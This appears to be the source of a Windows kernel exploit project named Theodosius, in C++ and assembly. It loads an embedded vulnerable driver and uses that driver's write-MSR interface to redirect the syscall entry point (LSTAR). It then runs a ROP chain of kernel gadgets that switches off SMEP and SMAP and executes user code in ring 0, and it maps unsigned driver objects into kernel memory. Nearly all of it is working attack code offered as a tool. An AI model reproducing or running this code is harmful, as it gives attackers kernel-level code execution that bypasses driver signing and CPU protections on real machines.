const auto service_name = random_file_name(16);
const auto file_path = std::filesystem::temp_directory_path().string() + service_name;
std::ofstream output_file(file_path.c_str(), std::ios::binary);
output_file.write((char*)drv_buffer.data(), drv_buffer.size());
output_file.close();
return { load(file_path, service_name), service_name };
}
inline auto load(const std::uint8_t* buffer, const std::size_t size) -> std::pair<NTSTATUS, std::string>
{
std::vector<std::uint8_t> image(buffer, buffer + size);
return load(image);
}
inline auto unload(const std::string& service_name) -> NTSTATUS
{
std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
reg_path += service_name;
ANSI_STRING driver_rep_path_cstr;
UNICODE_STRING driver_reg_path_unicode;
RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
RtlAnsiStringToUnicodeString(
&driver_reg_path_unicode, &driver_rep_path_cstr, true);
const bool unload_result =
NtUnloadDriver(&driver_reg_path_unicode);
util::delete_service_entry(service_name);
// sometimes you cannot delete the driver off disk because there are still handles open
// to the driver, this means the driver is still loaded into the kernel...
try
{
std::filesystem::remove(
std::filesystem::temp_directory_path()
.string() + service_name);
}
catch (std::exception& e)
{
return STATUS_ABANDONED;
}
return unload_result;
}
}

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#include <iostream>
#include <filesystem>
#include "vdm.hpp"
#include "msrexec.hpp"
#include "hmdm_ctx.h"
namespace fs = std::filesystem;
int main(int argc, char** argv)
{
if (argc < 2)
{
std::printf("> please provide a folder of objs to be linked...\n");
return -1;
}
// read each .obj file from directory into std::vector...
std::vector<lnk::obj_buffer_t> image_objs;
for (auto& file : fs::recursive_directory_iterator(argv[1]))
{
if (!strcmp(file.path().extension().string().c_str(), ".obj"))
{
lnk::obj_buffer_t obj_buffer;
utils::open_binary_file(file.path().string(), obj_buffer);
image_objs.push_back(obj_buffer);
}
}
std::printf("> number of objs = %d\n", image_objs.size());
const auto [drv_handle, drv_key, drv_status] = vdm::load_drv();
if (drv_status != STATUS_SUCCESS || drv_handle == INVALID_HANDLE_VALUE)
{
std::printf("> failed to load driver... reason -> 0x%x\n", drv_status);
return -1;
}
writemsr_t _write_msr =
[&](std::uint32_t key, std::uint64_t value) -> bool
{
return vdm::writemsr(key, value);
};
vdm::msrexec_ctx msrexec(_write_msr);
drv::kalloc_t _kalloc = [&](std::size_t size) -> void*
{
void* alloc_base;
msrexec.exec([&](void* krnl_base, get_system_routine_t get_kroutine) -> void
{
using ex_alloc_pool_t =
void* (*)(std::uint32_t, std::size_t);
const auto ex_alloc_pool =
reinterpret_cast<ex_alloc_pool_t>(
get_kroutine(krnl_base, "ExAllocatePool"));
alloc_base = ex_alloc_pool(NULL, size);
});
return alloc_base;
};
drv::kmemcpy_t _kmemcpy =
[&](void* dest, const void* src, std::size_t size) -> void*
{
void* result = nullptr;
msrexec.exec([&](void* krnl_base, get_system_routine_t get_kroutine) -> void
{
const auto kmemcpy =
reinterpret_cast<decltype(&memcpy)>(
get_kroutine(krnl_base, "memcpy"));
result = kmemcpy(dest, src, size);
});
return result;
};
drv::hmdm_ctx drv_mapper({ _kalloc, _kmemcpy });
const auto drv_entry = drv_mapper.map_objs(image_objs);
std::printf("\n\n> driver entry -> 0x%p\n", drv_entry);
std::getchar();
int result;
msrexec.exec([&result, drv_entry = drv_entry]
(void* krnl_base, get_system_routine_t get_kroutine) -> void
{
using drv_entry_t = int(*)();
result = reinterpret_cast<drv_entry_t>(drv_entry)();
});
const auto unload_status = vdm::unload_drv(drv_handle, drv_key);
if (unload_status != STATUS_SUCCESS)
{
std::printf("> failed to unload driver... reason -> 0x%x\n", unload_status);
return -1;
}
std::printf("> press enter to close...\n");
std::getchar();
}

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#include "msrexec.hpp"
void msrexec_handler(callback_t* callback)
{
// restore LSTAR....
__writemsr(IA32_LSTAR_MSR, m_system_call);
// call usermode code...
(*callback)(ntoskrnl_base, get_system_routine);
}
namespace vdm
{
msrexec_ctx::msrexec_ctx(writemsr_t wrmsr)
: wrmsr(wrmsr)
{
if (!m_mov_cr4_gadget || !m_sysret_gadget || !m_pop_rcx_gadget)
if (!find_gadgets())
DBG_PRINT("> failed to find gadgets...\n");
if (!m_kpcr_rsp_offset || !m_kpcr_krsp_offset || !m_system_call)
if (!find_globals())
DBG_PRINT("> failed to find globals...\n");
cpuid_eax_01 cpuid_info;
__cpuid((int*)&cpuid_info, 1);
cpuid_eax_07 cpuid_features;
__cpuid((int*)&cpuid_features, 7);
cr4 cr4_value{};
cr4_value.debugging_extensions = true;
cr4_value.page_size_extensions = true;
cr4_value.machine_check_enable = true;
cr4_value.physical_address_extension =
cpuid_info.cpuid_feature_information_edx.physical_address_extension;
cr4_value.os_fxsave_fxrstor_support =
cpuid_info.cpuid_feature_information_edx.fxsave_fxrstor_instructions;
cr4_value.os_xmm_exception_support = true;
cr4_value.fsgsbase_enable =
IsProcessorFeaturePresent(PF_RDWRFSGSBASE_AVAILABLE);
cr4_value.os_xsave =
IsProcessorFeaturePresent(PF_XSAVE_ENABLED);
cr4_value.pcid_enable =
cpuid_info.cpuid_feature_information_ecx
.process_context_identifiers;
m_smep_off.flags = cr4_value.flags;
m_smep_off.smep_enable = false;
m_smep_off.smap_enable = false; // newer cpus have this on...
// WARNING: some virtual machines dont have SMEP...
// my VMWare VM doesnt... nor does my Virtual Box VM...
m_smep_on.flags = cr4_value.flags;
m_smep_on.smep_enable = cpuid_features.ebx.smep;
m_smep_on.smap_enable = cpuid_features.ebx.smap;
ntoskrnl_base =
reinterpret_cast<void*>(
utils::kmodule::get_base("ntoskrnl.exe"));
get_system_routine =
reinterpret_cast<get_system_routine_t>(
utils::kmodule::get_export(
"ntoskrnl.exe", "RtlFindExportedRoutineByName"));
DBG_PRINT("> m_pop_rcx_gadget -> 0x%p\n", m_pop_rcx_gadget);
DBG_PRINT("> m_mov_cr4_gadget -> 0x%p\n", m_mov_cr4_gadget);
DBG_PRINT("> m_sysret_gadget -> 0x%p\n", m_sysret_gadget);
DBG_PRINT("> m_kpcr_rsp_offset -> 0x%x\n", m_kpcr_rsp_offset);
DBG_PRINT("> m_kpcr_krsp_offset -> 0x%x\n", m_kpcr_krsp_offset);
DBG_PRINT("> m_system_call -> 0x%p\n", m_system_call);
DBG_PRINT("> m_smep_off -> 0x%p\n", m_smep_off.flags);
DBG_PRINT("> m_smep_on -> 0x%p\n", m_smep_on.flags);
DBG_PRINT("> check to make sure none of these^ are zero before pressing enter...\n");
std::getchar();
}
auto msrexec_ctx::find_gadgets() -> bool
{
m_mov_cr4_gadget =
utils::rop::find_kgadget(
MOV_CR4_GADGET, "xxxx");
if (!m_mov_cr4_gadget)
return {};
m_sysret_gadget =
utils::rop::find_kgadget(
SYSRET_GADGET, "xxx");
if (!m_sysret_gadget)
return {};
m_pop_rcx_gadget =
utils::rop::find_kgadget(
POP_RCX_GADGET, "xx");
if (!m_pop_rcx_gadget)
return {};
return true;
}
auto msrexec_ctx::find_globals() -> bool
{
const auto [section_data, section_rva] =
utils::pe::get_section(
reinterpret_cast<std::uintptr_t>(
LoadLibraryA("ntoskrnl.exe")), ".text");
const auto ki_system_call =
utils::scan(reinterpret_cast<std::uintptr_t>(
section_data.data()), section_data.size(),
KI_SYSCALL_SIG, KI_SYSCALL_MASK);
if (!ki_system_call)
return {};
m_system_call = (ki_system_call -
reinterpret_cast<std::uintptr_t>(
section_data.data())) + section_rva +
utils::kmodule::get_base("ntoskrnl.exe");
/*
.text:0000000140406CC0 KiSystemCall64
.text:0000000140406CC0 0F 01 F8 swapgs
.text:0000000140406CC3 65 48 89 24 25 10 00 00 00 mov gs:10h, rsp <====== + 8 bytes for gs offset...
.text:0000000140406CCC 65 48 8B 24 25 A8 01 00 00 mov rsp, gs:1A8h <======= + 17 bytes for gs offset...
*/
m_kpcr_rsp_offset = *reinterpret_cast<std::uint32_t*>(ki_system_call + 8);
m_kpcr_krsp_offset = *reinterpret_cast<std::uint32_t*>(ki_system_call + 17);
// handle KVA shadowing... if KVA shadowing is
// enabled LSTAR will point at KiSystemCall64Shadow...
SYSTEM_KERNEL_VA_SHADOW_INFORMATION kva_info = { 0 };
// if SystemKernelVaShadowInformation is not a valid class just
// return true and assume LSTAR points to KiSystemCall64...
if (NT_SUCCESS(NtQuerySystemInformation(SystemKernelVaShadowInformation, &kva_info, sizeof(kva_info), nullptr)))
{
if (kva_info.KvaShadowFlags.KvaShadowEnabled)
{
const auto [section_data, section_rva] =
utils::pe::get_section(
reinterpret_cast<std::uintptr_t>(
LoadLibraryA("ntoskrnl.exe")), "KVASCODE");
// no KVASCODE section so there is no way for LSTAR to be KiSystemCall64Shadow...
if (!section_rva || section_data.empty())
return true;
const auto ki_system_shadow_call =
utils::scan(reinterpret_cast<std::uintptr_t>(
section_data.data()), section_data.size(),
KI_SYSCALL_SHADOW_SIG, KI_SYSCALL_SHADOW_MASK);
// already set m_syscall_call so we just return true...
if (!ki_system_shadow_call)
return true;
// else we update m_system_call with KiSystemCall64Shadow...
m_system_call = (ki_system_shadow_call -
reinterpret_cast<std::uintptr_t>(
section_data.data())) + section_rva +
utils::kmodule::get_base("ntoskrnl.exe");
}
}
return true;
}
void msrexec_ctx::exec(callback_t kernel_callback)
{
const thread_info_t thread_info =
{
GetPriorityClass(GetCurrentProcess()),
GetThreadPriority(GetCurrentThread())
};
SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS);
SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);
// set LSTAR to first rop gadget... race begins here...
if (!wrmsr(IA32_LSTAR_MSR, m_pop_rcx_gadget))
DBG_PRINT("> failed to set LSTAR...\n");
else
// go go gadget kernel execution...
syscall_wrapper(&kernel_callback);
SetPriorityClass(GetCurrentProcess(), thread_info.first);
SetThreadPriority(GetCurrentThread(), thread_info.second);
}
void msrexec_ctx::set_wrmsr(writemsr_t wrmsr)
{ this->wrmsr = wrmsr; }
auto msrexec_ctx::get_wrmsr() -> writemsr_t const
{ return this->wrmsr; }
}

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#pragma once
#include "utils.hpp"
#include "syscall_handler.h"
#include <intrin.h>
#define IA32_LSTAR_MSR 0xC0000082
#define MOV_CR4_GADGET "\x0F\x22\xE1\xC3"
#define POP_RCX_GADGET "\x59\xc3"
#define SYSRET_GADGET "\x48\x0F\x07"
// not sure how far back this signature goes... works on 1507 though....
#define KI_SYSCALL_SIG "\x0F\x01\xF8\x65\x48\x89\x24\x25\x00\x00\x00\x00\x65\x48\x8B\x24\x25\x00\x00\x00\x00\x6A\x2B\x65\xFF\x34\x25\x00\x00\x00\x00\x41\x53\x6A\x00\x51\x49\x8B\xCA"
#define KI_SYSCALL_MASK "xxxxxxxx????xxxxx????xxxxxx????xxx?xxxx"
static_assert(sizeof KI_SYSCALL_SIG == sizeof KI_SYSCALL_MASK, "signature/mask invalid size...");
#define KI_SYSCALL_SHADOW_SIG "\x0F\x01\xF8\x65\x48\x89\x24\x25\x00\x00\x00\x00\x65\x48\x8B\x24\x25\x00\x00\x00\x00\x65\x0F\xBA\x24\x25\x00\x00\x00\x00\x00\x72\x03\x0F\x22\xDC"
#define KI_SYSCALL_SHADOW_MASK "xxxxxxxx????xxxxx????xxxxx?????xxxxx"
static_assert(sizeof KI_SYSCALL_SHADOW_SIG == sizeof KI_SYSCALL_SHADOW_MASK);
using get_system_routine_t = void* (*)(void*, const char*);
using callback_t = std::function<void(void*, get_system_routine_t)>;
using thread_info_t = std::pair<std::uint32_t, std::uint32_t>;
using writemsr_t = std::function<bool(std::uint32_t, std::uintptr_t)>;
extern "C" void msrexec_handler(callback_t* callback);
inline get_system_routine_t get_system_routine = nullptr;
inline void* ntoskrnl_base = nullptr;
namespace vdm
{
class msrexec_ctx
{
public:
explicit msrexec_ctx(writemsr_t wrmsr);
void exec(callback_t kernel_callback);
void set_wrmsr(writemsr_t wrmsr);
auto get_wrmsr() -> writemsr_t const;
private:
auto find_gadgets() -> bool;
auto find_globals() -> bool;
writemsr_t wrmsr;
};
}

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Theodosius/raw_driver.hpp
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Theodosius/syscall_handler.asm
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extern msrexec_handler : proc
.data
; offsets into _KPCR/_KPRCB
m_kpcr_rsp_offset dq 0h
m_kpcr_krsp_offset dq 0h
m_system_call dq 0h
m_mov_cr4_gadget dq 0h
m_sysret_gadget dq 0h
m_pop_rcx_gadget dq 0h
m_smep_on dq 0h
m_smep_off dq 0h
public m_smep_on
public m_smep_off
public m_kpcr_rsp_offset
public m_kpcr_krsp_offset
public m_pop_rcx_gadget
public m_mov_cr4_gadget
public m_sysret_gadget
public m_system_call
.code
syscall_handler proc
swapgs ; swap gs to kernel gs (_KPCR...)
mov rax, m_kpcr_rsp_offset ; save usermode stack to _KPRCB
mov gs:[rax], rsp
mov rax, m_kpcr_krsp_offset ; load kernel rsp....
mov rsp, gs:[rax]
push rcx ; push RIP
push r11 ; push EFLAGS
mov rcx, r10 ; swapped by syscall instruction so we switch it back...
sub rsp, 020h
call msrexec_handler ; call c++ handler (which restores LSTAR and calls lambda...)
add rsp, 020h
pop r11 ; pop EFLAGS
pop rcx ; pop RIP
mov rax, m_kpcr_rsp_offset ; restore rsp back to usermode stack...
mov rsp, gs:[rax]
swapgs ; swap back to TIB...
ret
syscall_handler endp
syscall_wrapper proc
push r10 ; syscall puts RIP into rcx...
pushfq
mov r10, rcx ; swap r10 and rcx...
push m_sysret_gadget ; REX.W prefixed...
lea rax, finish ; preserved value of RIP by putting it on the stack here...
push rax ;
push m_pop_rcx_gadget ; gadget to put RIP back into rcx...
push m_mov_cr4_gadget ; turn smep back on...
push m_smep_on ; value of CR4 with smep off...
push m_pop_rcx_gadget ;
lea rax, syscall_handler ; rop to syscall_handler to handle the syscall...
push rax ;
push m_mov_cr4_gadget ; disable smep...
push m_smep_off ;
pushfq ; THANK YOU DREW YOU SAVED THE PROJECT!!!
pop rax ; this will set the AC flag in EFLAGS which "disables SMAP"...
or rax, 040000h ;
push rax ;
popfq ;
syscall ; LSTAR points at a pop rcx gadget...
; it will put m_smep_off into rcx...
finish:
popfq ; restore EFLAGS...
pop r10 ; restore r10...
ret
syscall_wrapper endp
end

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Theodosius/syscall_handler.h
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#pragma once
#include "ia32.hpp"
extern "C" std::uint32_t m_kpcr_rsp_offset;
extern "C" std::uint32_t m_kpcr_krsp_offset;
extern "C" std::uintptr_t m_pop_rcx_gadget;
extern "C" std::uintptr_t m_mov_cr4_gadget;
extern "C" std::uintptr_t m_sysret_gadget;
extern "C" cr4 m_smep_on;
extern "C" cr4 m_smep_off;
extern "C" std::uintptr_t m_system_call;
extern "C" void syscall_wrapper(...);

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Theodosius/utils.hpp
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/*
WARNING: utils.hpp must be the first file included...
this is because i use getenv and that requires _CRT_SECURE_NO_WARNINGS...
*/
#pragma once
#define _CRT_SECURE_NO_WARNINGS
#pragma comment(lib, "ntdll.lib")
#include <Windows.h>
#include <winternl.h>
#include <ntstatus.h>
#include <tlhelp32.h>
#include <fstream>
#include <functional>
#include <cstdint>
#include <string>
#include <vector>
#include <map>
#include "ia32.hpp"
#define DBG_PRINT(format, ...) \
std::printf(format, __VA_ARGS__ )
typedef struct _RTL_PROCESS_MODULE_INFORMATION
{
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION;
typedef struct _RTL_PROCESS_MODULES
{
ULONG NumberOfModules;
RTL_PROCESS_MODULE_INFORMATION Modules[1];
} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES;
#define SystemKernelVaShadowInformation (SYSTEM_INFORMATION_CLASS) 196
typedef struct _SYSTEM_KERNEL_VA_SHADOW_INFORMATION
{
struct
{
ULONG KvaShadowEnabled : 1;
ULONG KvaShadowUserGlobal : 1;
ULONG KvaShadowPcid : 1;
ULONG KvaShadowInvpcid : 1;
ULONG KvaShadowRequired : 1;
ULONG KvaShadowRequiredAvailable : 1;
ULONG InvalidPteBit : 6;
ULONG L1DataCacheFlushSupported : 1;
ULONG L1TerminalFaultMitigationPresent : 1;
ULONG Reserved : 18;
} KvaShadowFlags;
} SYSTEM_KERNEL_VA_SHADOW_INFORMATION, * PSYSTEM_KERNEL_VA_SHADOW_INFORMATION;
namespace utils
{
inline std::uintptr_t scan(std::uintptr_t base, std::uint32_t size, const char* pattern, const char* mask)
{
static const auto check_mask =
[&](const char* base, const char* pattern, const char* mask) -> bool
{
for (; *mask; ++base, ++pattern, ++mask)
if (*mask == 'x' && *base != *pattern)
return false;
return true;
};
size -= strlen(mask);
for (auto i = 0; i <= size; ++i)
{
void* addr = (void*)&(((char*)base)[i]);
if (check_mask((char*)addr, pattern, mask))
return reinterpret_cast<std::uintptr_t>(addr);
}
return NULL;
}
inline void open_binary_file(const std::string& file, std::vector<uint8_t>& data)
{
std::ifstream fstr(file, std::ios::binary);
fstr.unsetf(std::ios::skipws);
fstr.seekg(0, std::ios::end);
const auto file_size = fstr.tellg();
fstr.seekg(NULL, std::ios::beg);
data.reserve(static_cast<uint32_t>(file_size));
data.insert(data.begin(), std::istream_iterator<uint8_t>(fstr), std::istream_iterator<uint8_t>());
}
inline std::uint32_t get_pid(const wchar_t* proc_name)
{
PROCESSENTRY32 proc_info;
proc_info.dwSize = sizeof(proc_info);
HANDLE proc_snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (proc_snapshot == INVALID_HANDLE_VALUE)
return NULL;
Process32First(proc_snapshot, &proc_info);
if (!wcscmp(proc_info.szExeFile, proc_name))
{
CloseHandle(proc_snapshot);
return proc_info.th32ProcessID;
}
while (Process32Next(proc_snapshot, &proc_info))
{
if (!wcscmp(proc_info.szExeFile, proc_name))
{
CloseHandle(proc_snapshot);
return proc_info.th32ProcessID;
}
}
CloseHandle(proc_snapshot);
return NULL;
}
namespace kmodule
{
using kmodule_callback_t = std::function<bool(PRTL_PROCESS_MODULE_INFORMATION, const char*)>;
inline void each_module(kmodule_callback_t callback)
{
void* buffer = nullptr;
DWORD buffer_size = NULL;
auto status = NtQuerySystemInformation(
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
buffer, buffer_size, &buffer_size);
while (status == STATUS_INFO_LENGTH_MISMATCH)
{
VirtualFree(buffer, NULL, MEM_RELEASE);
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
status = NtQuerySystemInformation(
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
buffer, buffer_size, &buffer_size);
}
if (!NT_SUCCESS(status))
{
VirtualFree(buffer, NULL, MEM_RELEASE);
return;
}
const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
{
auto full_path = std::string(
reinterpret_cast<char*>(
modules->Modules[idx].FullPathName));
if (full_path.find("\\SystemRoot\\") != std::string::npos)
full_path.replace(full_path.find("\\SystemRoot\\"),
sizeof("\\SystemRoot\\") - 1, std::string(getenv("SYSTEMROOT")).append("\\"));
else if (full_path.find("\\??\\") != std::string::npos)
full_path.replace(full_path.find("\\??\\"),
sizeof("\\??\\") - 1, "");
if (!callback(&modules->Modules[idx], full_path.c_str()))
{
VirtualFree(buffer, NULL, MEM_RELEASE);
return;
}
}
VirtualFree(buffer, NULL, MEM_RELEASE);
return;
}
inline std::uintptr_t get_base(const char* module_name)
{
void* buffer = nullptr;
DWORD buffer_size = NULL;
auto status = NtQuerySystemInformation(
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
buffer, buffer_size, &buffer_size);
while (status == STATUS_INFO_LENGTH_MISMATCH)
{
VirtualFree(buffer, NULL, MEM_RELEASE);
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
status = NtQuerySystemInformation(
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
buffer, buffer_size, &buffer_size);
}
if (!NT_SUCCESS(status))
{
VirtualFree(buffer, NULL, MEM_RELEASE);
return NULL;
}
const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
{
const auto current_module_name =
std::string(reinterpret_cast<char*>(
modules->Modules[idx].FullPathName) +
modules->Modules[idx].OffsetToFileName);
if (!_stricmp(current_module_name.c_str(), module_name))
{
const auto result =
reinterpret_cast<std::uint64_t>(
modules->Modules[idx].ImageBase);
VirtualFree(buffer, NULL, MEM_RELEASE);
return result;
}
}
VirtualFree(buffer, NULL, MEM_RELEASE);
return NULL;
}
inline std::uintptr_t get_export(const char* module_name, const char* export_name)
{
void* buffer = nullptr;
DWORD buffer_size = NULL;
NTSTATUS status = NtQuerySystemInformation(
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
buffer,
buffer_size,
&buffer_size
);
while (status == STATUS_INFO_LENGTH_MISMATCH)
{
VirtualFree(buffer, 0, MEM_RELEASE);
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
status = NtQuerySystemInformation(
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
buffer,
buffer_size,
&buffer_size
);
}
if (!NT_SUCCESS(status))
{
VirtualFree(buffer, 0, MEM_RELEASE);
return NULL;
}
const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
{
// find module and then load library it
const std::string current_module_name =
std::string(reinterpret_cast<char*>(
modules->Modules[idx].FullPathName) +
modules->Modules[idx].OffsetToFileName
);
if (!_stricmp(current_module_name.c_str(), module_name))
{
auto full_path = std::string(
reinterpret_cast<char*>(
modules->Modules[idx].FullPathName));
full_path.replace(full_path.find("\\SystemRoot\\"),
sizeof("\\SystemRoot\\") - 1, std::string(getenv("SYSTEMROOT")).append("\\"));
const auto module_base =
LoadLibraryExA(
full_path.c_str(),
NULL,
DONT_RESOLVE_DLL_REFERENCES
);
const auto image_base =
reinterpret_cast<std::uintptr_t>(
modules->Modules[idx].ImageBase);
// free the RTL_PROCESS_MODULES buffer...
VirtualFree(buffer, NULL, MEM_RELEASE);
const auto rva =
reinterpret_cast<std::uintptr_t>(
GetProcAddress(module_base, export_name)) -
reinterpret_cast<std::uintptr_t>(module_base);
return image_base + rva;
}
}
VirtualFree(buffer, NULL, MEM_RELEASE);
return NULL;
}
}
namespace pe
{
using section_callback_t = std::function<bool(PIMAGE_SECTION_HEADER, std::uintptr_t)>;
// returns an std::vector containing all of the bytes of the section
// and also the RVA from the image base to the beginning of the section...
inline std::pair<std::vector<std::uint8_t>, std::uint32_t> get_section(std::uintptr_t module_base, const char* section_name)
{
const auto nt_headers = reinterpret_cast<PIMAGE_NT_HEADERS>(
reinterpret_cast<PIMAGE_DOS_HEADER>(module_base)->e_lfanew + module_base);
const auto section_header =
reinterpret_cast<PIMAGE_SECTION_HEADER>(
reinterpret_cast<std::uintptr_t>(nt_headers) + sizeof(DWORD)
+ sizeof(IMAGE_FILE_HEADER) + nt_headers->FileHeader.SizeOfOptionalHeader);
for (auto idx = 0u; idx < nt_headers->FileHeader.NumberOfSections; ++idx)
{
const auto _section_name =
reinterpret_cast<char*>(
section_header[idx].Name);
// sometimes section names are not null terminated...
if (!strncmp(_section_name, section_name, strlen(section_name) - 1))
{
const auto section_base =
reinterpret_cast<std::uint8_t*>(
module_base + section_header[idx].VirtualAddress);
const auto section_end =
reinterpret_cast<std::uint8_t*>(
section_base + section_header[idx].Misc.VirtualSize);
std::vector<std::uint8_t> section_bin(section_base, section_end);
return { section_bin, section_header[idx].VirtualAddress };
}
}
return { {}, {} };
}
inline void each_section(section_callback_t callback, std::uintptr_t module_base)
{
if (!module_base)
return;
const auto nt_headers = reinterpret_cast<PIMAGE_NT_HEADERS>(
reinterpret_cast<PIMAGE_DOS_HEADER>(module_base)->e_lfanew + module_base);
const auto section_header =
reinterpret_cast<PIMAGE_SECTION_HEADER>(
reinterpret_cast<std::uintptr_t>(nt_headers) + sizeof(DWORD)
+ sizeof(IMAGE_FILE_HEADER) + nt_headers->FileHeader.SizeOfOptionalHeader);
for (auto idx = 0u; idx < nt_headers->FileHeader.NumberOfSections; ++idx)
{
const auto _section_name =
reinterpret_cast<char*>(
section_header[idx].Name);
// keep looping until the callback returns false...
if (!callback(&section_header[idx], module_base))
return;
}
}
}
namespace rop
{
// https://j00ru.vexillium.org/2011/06/smep-what-is-it-and-how-to-beat-it-on-windows/
// http://blog.ptsecurity.com/2012/09/bypassing-intel-smep-on-windows-8-x64.html?m=1
// just implimented the rop information from these posts...
inline std::uintptr_t find_kgadget(const char* sig, const char* mask)
{
std::uintptr_t result = 0u;
kmodule::each_module(
[&](auto kernel_image, const char* image_name) -> bool
{
utils::pe::each_section(
[&](auto section_header, std::uintptr_t image_base) -> bool
{
if (section_header->Characteristics & IMAGE_SCN_CNT_CODE &&
!(section_header->Characteristics & IMAGE_SCN_MEM_DISCARDABLE))
{
const auto rop_gadget =
utils::scan(image_base + section_header->VirtualAddress,
section_header->Misc.VirtualSize, sig, mask);
if(rop_gadget)
result = (rop_gadget - image_base) +
reinterpret_cast<std::uintptr_t>(kernel_image->ImageBase);
return !rop_gadget;
}
return true;
},
reinterpret_cast<std::uintptr_t>(
LoadLibraryExA(image_name,
NULL, DONT_RESOLVE_DLL_REFERENCES))
);
return !result;
}
);
return result;
}
}
}

66
Theodosius/vdm.hpp
Unescape View File

@ -0,0 +1,66 @@
#pragma once
#include <windows.h>
#include <cstdint>
#include "loadup.hpp"
#include "raw_driver.hpp"
#define IOCTL_WRMSR 0x229384
#pragma pack (push, 1)
typedef struct _write_msr_t
{
std::uint32_t reg;
std::uintptr_t value;
} write_msr_t, * pwrite_msr_t;
#pragma pack (pop)
namespace vdm
{
inline HANDLE drv_handle;
inline auto load_drv() -> std::tuple<HANDLE, std::string, NTSTATUS>
{
const auto [result, key] =
driver::load(
raw_driver,
sizeof raw_driver
);
if (result != STATUS_SUCCESS)
return { {}, {}, result };
std::string symlink("\\\\.\\" + key);
vdm::drv_handle = CreateFileA(
symlink.c_str(),
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
return { vdm::drv_handle, key, result };
}
inline auto unload_drv(HANDLE drv_handle, std::string drv_key) -> NTSTATUS
{
if (!CloseHandle(drv_handle))
return STATUS_FAIL_CHECK;
return driver::unload(drv_key);
}
inline auto writemsr(std::uint32_t reg, std::uintptr_t value) -> bool
{
std::uint32_t bytes_handled;
write_msr_t io_data{ reg, value };
return DeviceIoControl
(
vdm::drv_handle, IOCTL_WRMSR,
&io_data, sizeof io_data,
&io_data, sizeof io_data,
(LPDWORD)&bytes_handled, nullptr
);
}
}
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